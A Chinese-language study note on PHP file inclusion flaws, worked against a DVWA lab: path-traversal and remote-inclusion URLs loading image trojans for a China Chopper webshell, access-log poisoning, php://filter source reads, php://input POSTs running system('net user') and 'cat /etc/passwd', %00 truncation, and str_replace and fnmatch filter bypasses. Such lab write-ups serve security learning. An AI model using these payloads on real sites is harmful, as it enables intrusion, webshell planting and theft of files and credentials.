美文网首页
文件包含

文件包含

作者: _Beginner | 来源:发表于2020-04-10 22:42 被阅读0次

一.本文介绍

1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_replace函数绕过、fnmach函数绕过、php内置协议。


二.学习步骤

1、文件包含

1. 原理:
开发的时候,未对包含的文件进行严格过滤,攻击者可构造自己的图片木马文件档PHP执行

2. 四个包含文件函数:
include(),include_once(),require()和require_once()。

3. 本地包含LIF:
不用做任何条件限制。

格式: http://192.168.1.200/dvwa/vulnerabilities/fi/?page=../../../777.jpg ;然后菜刀连接

4. 远程包含RLF前提:
allow_url_include=on  magic_quotes_gpc=off

格式:http://192.168.1.200/dvwa/vulnerabilities/fi/?page=http://192.168.1.10/777.jpg;然后菜刀连接

5. 包含日志文件:
前提:
开启啦日志记录:conf/httpd-conf中的CustomLog "logs/access.log" common前面#以去掉。

路径:PHPstudy/Apache/logs/access.log

格式: http://192.168.1.200/dvwa/vulnerabilities/fi/?page=../../../Apache/logs/access.log;然后菜刀连接
(也可以在URL的id=后面接木马写入日志)

6. 包含文件(使用PHP协议):
格式:
http://192.168.1.10/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php;得到base64后解密:

7. 包含文件(使用PHP协议):

只有在allow _url_include为on的时候才可以使用

格式:http://192.168.1.55:8080/dvwa/vulnerabilities/fi/?page=php://input,并且提交post数据为:<?php system('net user');?>

linux:post数据为:<?php system('cat /etc/passwd');?>

8. 包含截断:<5.3.4版本的PHP:

原理:通过%00截断
 代码:include  $_GET['page'] .".php" ; 将文件名和.php重新结合,我们可以在中间通过%00截断。

格式:http://192.168.1.224:8082/2.php?page=3.jpg%00
3.jpg可以为我们上传的木马

9. str_replace函数绕过     

原理:可以使用双写绕过替换规则。

如:例如page=hthttp://tp://192.168.0.103时;str_replace函数会将http://删除,于是page=http://192.168.0.103

1、本地文件包含:在../中间添加../
http://192.168.0.103/dvwa/vulnerabilities/fi/page=…/./…/./…/./…/./…/./…/./…/./…/./…/./…/./xampp/htdocs/dvwa/php.ini

2、绝对路径不受任何影响
http://192.168.0.103/dvwa/vulnerabilities/fi/page=C:/xampp/htdocs/dvwa/php.ini

3、远程文件包含:双写http://
http://192.168.0.103/dvwa/vulnerabilities/fi/page=htthttp://p://192.168.5.12/phpinfo.txt 

10.fnmatch函数绕过

原理:if(!fnmatch("file*",$file)&&$file!="include.php"),当文件既不是"include.php"也不是"file* "(文件名file开头)时才抛出错误。

格式:page=file://C:/xampp/htdocs/dvwa/php.ini(刚好满足"file*"(文件名file开头)。)

10.PHP内置协议

file:// — 访问本地文件系统

http:// — 访问 HTTP(s) 网址

ftp:// — 访问 FTP(s) URLs

php:// — 访问各个输入/输出流(I/O streams)

zlib:// — 压缩流

data:// — 数据(RFC 2397)

glob:// — 查找匹配的文件路径模式

phar:// — PHP 归档

ssh2:// — Secure Shell 2

rar:// — RAR

ogg:// — 音频流

expect:// — 处理交互式的流

相关文章

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

  • 2019-09-02 文件包含和几个伪协议

    本地文件包含和远程文件包含: 本地文件包含:只要内容中带有即可解析成php文件执行。即使包含的文件...

  • Jar和arr的区别

    jar:只包含class文件与清单文件,不包含资源文件; arr:包含所有资源、class文件和res文件;

  • Shell脚本语言:文件包含、cat命令、获取用户输入(5)

    一、文件包含:1、文件B包含文件A:示例代码: 2、文件B包含文件A:示例代码: 二、cat命令: 作用: 语法:...

  • 文件包含漏洞

    文件包含 常见文件包含函数 利用条件 程序用include()等文件包含函数通过动态变量的范式引入需要包含的文件 ...

  • php安全

    文件包含漏洞** 本地文件包含**能打开并包含本地文件的漏洞,被称为本地文件包含漏洞(LFI)%00截断,php内...

  • shell文件包含

    和其他语言一样,Shell 也可以包含外部脚本。这样可以很方便的封装一些公用的代码作为一个独立的文件 1.创建两个...

网友评论

      本文标题:文件包含

      本文链接:https://www.haomeiwen.com/subject/qnplmhtx.html